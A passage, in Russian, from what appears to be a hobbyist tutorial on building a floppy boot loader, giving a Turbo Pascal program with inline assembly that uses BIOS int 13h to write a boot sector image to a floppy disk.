Осталось только как-то записать этот образ в загрузочный сектор вашей дискеты и разместить в корне этой дискеты файл загрузчика BOOTOR. Загрузочный сектор можно записать с помощью такой вот простой программы на Turbo (Borland) Pascal. Эта программа будет работать как в DOS, так и в Windows — пробовал на WinXP — работает как ни странно, но только с floopy. Но все же я рекомендую запускать эту утилиту из-под чистого DOS’а, т.к. WinXP обновляет не все поля в заголовке FAT и загрузочный сектор может работать некорректно.

var
fn:string;
f:file;
buf:array[0..511] of byte;
ok:boolean;
begin
fn:=ParamStr(1);
if fn=» then writeln(‘makeboot bootsect.bin’)
else
begin
writeln(‘Making boot floppy’);
{$I-}
assign(f,fn);
reset(f,sizeof(buf));
BlockRead(f,buf,1);
close(f);
{$I+}
if IOResult<>0 then
begin
Writeln(‘Failed to read file «‘,fn,'»‘);
Halt(1);
end;
ok:=false;
asm
mov ax, 0301h
mov cx, 1
mov dx, 0
mov bx, seg buf
mov es, bx
mov bx, offset buf
int 13h
jc @error
mov ok, true
@error:
end;
if ok then writeln(‘Done :)’)
else begin
writeln(‘Makeboot failed :(‘);
Halt(1);
end;
end;
end.